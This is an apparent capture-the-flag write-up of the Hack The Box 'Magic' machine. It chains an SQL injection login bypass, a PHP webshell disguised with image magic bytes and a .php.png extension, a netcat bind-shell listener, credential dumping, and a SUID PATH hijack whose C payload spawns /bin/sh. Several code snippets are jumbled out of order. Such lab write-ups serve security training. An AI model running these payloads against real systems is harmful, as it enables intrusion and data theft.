HTB - Linux Magic
HTB - Linux Magic
TLDR;
We started by bypassing the login redirection which led us to discover a upload form which is vulnerable to php code upload through double extension. Dumping the database credentials we found the user password. Finally we got root due to a relative path in a suid binary.
nobody - www-data
*INSERT NMAP JOKE HERE*
$ nmap -sS -sV -sC -O -p- -vvv -T4 --reason -oN 10.10.10.185.txt 10.10.10.185
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClcZO7AyXva0myXqRYz5xgxJ8ljSW1c6xX0vzHxP/Qy024qtSuDeQIRZGYsIR+kyje39aNw6HHxdz50XSBSEcauPLDWbIYLUMM+a0smh7/pRjfA+vqHxEp7e5l9H7Nbb1dzQesANxa1glKsEmKi1N8Yg0QHX0/FciFt1rdES9Y4b3I3gse2mSAfdNWn4ApnGnpy1tUbanZYdRtpvufqPWjzxUkFEnFIPrslKZoiQ+MLnp77DXfIm3PGjdhui0PBlkebTGbgo4+U44fniEweNJSkiaZW/CuKte0j/buSlBlnagzDl0meeT8EpBOPjk+F0v6Yr7heTuAZn75pO3l5RHX
| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOVyH7ButfnaTRJb0CdXzeCYFPEmm6nkSUd4d52dW6XybW9XjBanHE/FM4kZ7bJKFEOaLzF1lDizNQgiffGWWLQ=
| 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0dM4nfekm9dJWdTux9TqCyCGtW5rbmHfh/4v3NtTU1
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Ok so we only start wotj a ssh
and a HTTP server for the moment, nothing fancy. Let’s look at this magic website, at first sight we see images displayed with some (random ?) char as title. Could be something with LFI, path trasversal, file upload and more.
The website ask us to login before we can upload something, no sign up form could indicate we have to do without account.
I fired up ffuf
and found some files, interesting or not :
$ ffuf -w /home/switch/tools/wordlists/fuzzdb/dict/dirfuzz-dict/directory-list-2.3-medium.txt,/usr/lib/dirsearch/db/dicc.txt,~/tools/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.10.185/FUZZ -mc 200,401,302
.htpasswd [Status: 403, Size: 277, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 277, Words: 20, Lines: 10]
assets [Status: 301, Size: 313, Words: 20, Lines: 10]
images [Status: 301, Size: 313, Words: 20, Lines: 10]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10]
index.php [Status: 200, Size: 4132, Words: 498, Lines: 60]
index.php/login/ [Status: 200, Size: 4135, Words: 498, Lines: 60]
login.php [Status: 200, Size: 4221, Words: 1179, Lines: 118]
upload.php [Status: 302, Size: 2957, Words: 814, Lines: 85]
We found the file upload.php
which redirect us to login.php
, so we should log before.
auth bypass
not following redirection
If you go to http://10.10.10.185/upload.php
you will be redirected to login.php
. The normal behavior to your browser is to follow the directive of the server imposed with the Location
HTTP header, but let see the data sent by the server.
$ http get "http://10.10.10.185/upload.php"
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate
Connection: Keep-Alive
Content-Length: 2957
Content-Type: text/html; charset=UTF-8
Date: Tue, 21 Apr 2020 21:41:41 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=100
Location: login.php
Pragma: no-cache
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=vkqb0klo9ph7p2ib6oti9sc84e; path=/
<!DOCTYPE HTML>
<html>
<head>
<title>Magic Upload</title>
<meta charset="utf-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no"/>
<link rel="stylesheet" href="assets/css/main.css"/>
<link rel="stylesheet" href="assets/css/upload.css"/>
<noscript>
<link rel="stylesheet" href="assets/css/noscript.css"/>
</noscript>
<style>
.input {
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
opacity: 0;
color: #150C07;
}.content {
display: table-cell;
vertical-align: middle;
}</style>
</head>
<body class="is-preload">
<!-- Wrapper -->
<div id="wrapper">
<!-- Main -->
<section id="" class="indent-1">
<h1>Welcome Admin!</h1>
<div class="frame">
<div class="center">
<div class="bar"></div>
<div class="title">Select Image to Upload</div>
<form action="" method="POST" enctype="multipart/form-data">
<div class="dropzone">
<div class="content">
<img src="https://100dayscss.com/codepen/upload.svg" class="upload">
<span class="filename"></span>
<input type="file" class="input" name="image">
</div>
</div>
<input class="upload-btn" type="submit" value="Upload Image" name="submit">
</form>
</div>
</div>
</section>
<!-- Footer -->
<section id="footer">
<section>
<p><strong><a href="logout.php">Logout</a></strong></p>
</section>
<section>
<ul class="icons">
<li><a href="#" class="icon brands fa-twitter"><span class="label">Twitter</span></a></li>
<li><a href="#" class="icon brands fa-instagram"><span class="label">Instagram</span></a></li>
<li><a href="#" class="icon brands fa-facebook-f"><span class="label">Facebook</span></a></li>
<li><a href="#" class="icon brands fa-dribbble"><span class="label">Dribbble</span></a></li>
<li><a href="#" class="icon solid fa-envelope"><span class="label">Email</span></a></li>
</ul>
<ul class="copyright">
<li>© Magic</li>
<li>4d61676963</li>
</ul>
</section>
</section>
</div>
<!-- Scripts -->
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/jquery.poptrox.min.js"></script>
<script src="assets/js/browser.min.js"></script>
<script src="assets/js/breakpoints.min.js"></script>
<script src="assets/js/util.js"></script>
<script src="assets/js/main.js"></script>
<script src="assets/js/upload.js"></script>
</body>
</html>
The form for the upload functionality is although displayed, we can use it as we now know the parameters and end point. You can nicely ask your browser to NOT follow the redirection and see this page in your browser for ease of use.
SQLi
I ran a Burp pro active scan on the login query and Burp informed me about a potential SQLi. I didn’t really paid so much attention to this but quickly ran a SQLmap scan which found nothing.
Investigating further I found later that we could bypass the auth and being redirected to the upload page just with password=pass' or 1#
$ http --form post "http://10.10.10.185/login.php" "username=test" "password=test' or 1#"
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate
Connection: Keep-Alive
Content-Length: 4221
Content-Type: text/html; charset=UTF-8
Date: Tue, 21 Apr 2020 21:55:59 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=100
Location: upload.php
Pragma: no-cache
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=q82q3v5p3dqf2b7ct7vkr2dbn9; path=/
upload vulnerability
I started trying to upload a PHP
file to get a RCE through php execution as I knew we could access the uploaded image at view-source:http://10.10.10.185/images/uploads/uploaded.png
by looking in the source code of the HTML page.
For this first try I went through this :
Sorry, only JPG, JPEG & PNG files are allowed.
Then I tried standards tricks like null byte, double extension and more. But still when through the previous message. Then I started to modify the uploaded PNG in burp before it’s sent to the server. Modifying few bytes making the PNG invalid still result as a successful upload.
So I just replaced the content of the PNG with
<?php echo 333 + 333 ?>
And let the name as .PNG but this time a new error happened :
<script>alert('What are you trying to do there?')</script>
So there is some basic check on the uploaded file as it detect that the file is not a valid PNG file. Maybe it just checks the magic bytes so lets try to add the magic bytes and then php code
= open('shell.png','wb')
fh '\xFF\xD8\xFF\xDB' + b'<?php echo 333+333; ?>')
fh.write(b fh.close()
Wait the file is uploaded, nice it just check the magic byte so. However the php is not executed as it’s just a PNG file. The only idea I had was to do a double extension like .php.png
and may be the server will accept it and serve it as php. So I just modified the filename to .php.png
and boom
www-data - user
Once connected to my bind shell made with an uploaded version of netcat I’m able to see the files from the web server like the .htaccess
<FilesMatch ".+\.ph(p([3457s]|\-s)?|t|tml)">
SetHandler application/x-httpd-php
</FilesMatch>
<Files ~ "\.(sh|sql)">
order deny,allow
deny from all
</Files>
Thats why .php.png
works like a charm ! There is another interesting file
$ cat db.php5
?php
<class Database
{private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';
private static $cont = null;
public function __construct() {
die('Init function is not allowed');
}
public static function connect()
{// One connection through whole application
if ( null == self::$cont )
{try
{$cont = new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
self::
}catch(PDOException $e)
{die($e->getMessage());
}
}return self::$cont;
}
public static function disconnect()
{$cont = null;
self::
}
}?>
Here are the mysql database credentials : theseus
:iamkingtheseus
. I’m immediately attempted su theseus
with this password but nope.
We could try to dump the database as mysqldump
binary is present
$ mysqldump --all-databases --user="theseus" --password="iamkingtheseus"
[...]
--
-- Current Database: `Magic`
--
CREATE DATABASE /*!32312 IF NOT EXISTS*/ `Magic` /*!40100 DEFAULT CHARACTER SET latin1 */;
USE `Magic`;
--
-- Table structure for table `login`
--
DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
`id` int(6) NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL,
`password` varchar(100) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `login`
--
LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
[...]
Yet another password Th3s3usW4sK1ng
and this one is for the user account ! eb12f6d088ff73504104992cf7dd4d4b
user - root
I spent too much time on this part even if I saw the thing very quickly, I was like never mind there must be something more obvious
As result from linpeas.sh
there is a lot of SUID
binary, lot of them are the same and are just in cache directory
But a particular file is not highlighted and seems unknown /bin/sysinfo
. When running it it just display some system information. As I though it was a known binary I didn’t want to find 0day in it, but the mistake was here it was not a know binary.
Running ltrace
on it we can saw some popen
call to get the results from other commands
theseus@ubuntu:/tmp$ ltrace /bin/sysinfo0x55eeb52ed131, 0xffff, 0x7ffd22f9dcc8, 128) = 0
_ZNSt8ios_base4InitC1Ev(0x7f5759ef0a40, 0x55eeb52ed131, 0x55eeb52ed008, 6) = 0
__cxa_atexit(0) = -1
setuid(0) = -1
setgid(0x55eeb52ed020, 0x55eeb50eb8f8, -160, 0) = 0x55eeb52ed020
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x55eeb52ed020, 0x7f5759f60870, 0x55eeb52ed020, 0x55eeb50eb92d====================Hardware Info====================
_ZNSolsEPFRSoS_E(0x55eeb52ed020
) = 0x7ffd22f9db90, 0x55eeb50eb92e, 0, 2880) = 0x7ffd22f9dba0
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev("lshw -short", "r") = 0x55eeb562d280 popen(
The first one is a call to lshw
which display hardware information.
The vulnerability is that it doesn’t use absolute path. If we build a binary named lshw
and is found in PATH
before the real one, it will be executed as root!
To achieve this I wrote this quick binary, which will drop a bind shell. We can’t just execute sh
as the file descriptor are not available to write in it or read from it.
$ cat poc.c
#include <stdio.h>
#include <unistd.h>
void main() {
char *a[] = {"/tmp/netcat", "-e", "/bin/sh", "-lvp", "9999", 0};
setregid(getegid(), getegid());
setreuid(geteuid(), geteuid());0], a, 0);
execve(a[return;
}
$ gcc -o /tmp/lshw /tmp/poc.c $ chmod +x /tmp/lshw
Once compiled we can use the PATH
env var to set /tmp
as first directory visited to find the lshw
binary.